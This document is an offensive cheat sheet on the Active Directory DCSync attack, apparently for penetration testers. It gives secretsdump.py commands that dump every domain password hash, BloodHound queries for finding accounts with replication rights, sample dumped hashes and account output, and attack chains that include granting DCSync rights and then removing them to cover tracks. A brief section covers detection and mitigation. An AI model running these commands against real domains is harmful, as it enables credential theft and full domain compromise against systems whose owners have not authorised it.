Abuse replication permissions to extract password hashes for all domain accounts, including privileged accounts. One of the most powerful AD attacks, allowing complete domain compromise by dumping all password hashes remotely.
DCSync abuses the Directory Replication Service Remote Protocol (MS-DRSR) to replicate password data from a domain controller. Attackers with replication rights can impersonate a DC and request password hashes for any account.
Required Permissions
DCSync requires one of these permissions on the domain object:
# Check if user is in privileged groups Get-DomainGroupMember"Domain Admins" | select MemberName Get-DomainGroupMember"Enterprise Admins" | select MemberName
BloodHound DCSync Query
// Find users with DCSync rights MATCH p=(u:User)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p
// Find shortest path from owned user to DCSync MATCH p=shortestPath((u:User {owned:true})-[*1..]->(d:Domain)) WHERE ANY(r in relationships(p) WHERE type(r) = "GetChanges" OR type(r) = "GetChangesAll") RETURN p
Exploitation
Impacket secretsdump.py
# DCSync all hashes secretsdump.py domain.local/user:password@dc.domain.local -just-dc
# DCSync specific user secretsdump.py domain.local/user:password@dc.domain.local -just-dc-user Administrator
# DCSync with NTLM hash secretsdump.py domain.local/user@dc.domain.local -hashes :ntlmhash -just-dc
# Output to file secretsdump.py domain.local/user:password@dc.domain.local -just-dc -outputfile domain_hashes
# DCSync with additional options secretsdump.py domain.local/user:password@dc.domain.local -just-dc-ntlm -pwd-last-set -user-status
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc::: domain.local\user1:1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: domain.local\user2:1104:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
[DC] 'domain.local' will be the domain [DC] 'DC01.domain.local' will be the DC server [DC] 'Administrator' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD ) Account expiration : Password last change : 10/27/2021 6:49:32 AM Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-500 Object Relative ID : 500
4662 events with replication GUIDs from non-DC computers
Replication requests outside maintenance windows
Replication from unusual source IPs
Multiple replication requests in short timeframe
Replication by non-service accounts
Common Attack Paths
Scenario 1: Compromised Service Account
1. Compromise service account with DCSync rights 2. DCSync to dump all hashes 3. Use DA hash for full domain control
Scenario 2: ACL Abuse Chain
1. User has WriteDACL on domain object 2. Grant self DCSync rights 3. DCSync to dump hashes 4. Remove DCSync rights (cleanup) 5. Use extracted hashes
Scenario 3: Compromised Exchange Server
1. Compromise Exchange server 2. Exchange groups often have DCSync rights 3. DCSync from Exchange context 4. Full domain compromise
Mitigation Recommendations
For clients:
Audit accounts with replication rights
Remove unnecessary replication permissions
Monitor Event ID 4662 for replication requests
Implement tiered administration
Use Protected Users group for privileged accounts
Enable Advanced Audit Policy for Directory Service Access
Alert on replication from non-DC IPs
Implement network segmentation
Use SIEM to correlate replication events
Regular ACL audits with BloodHound
Cleanup After DCSync
# If you granted yourself DCSync rights, remove them Remove-DomainObjectAcl-TargetIdentity'DC=domain,DC=local'-PrincipalIdentity attacker -Rights DCSync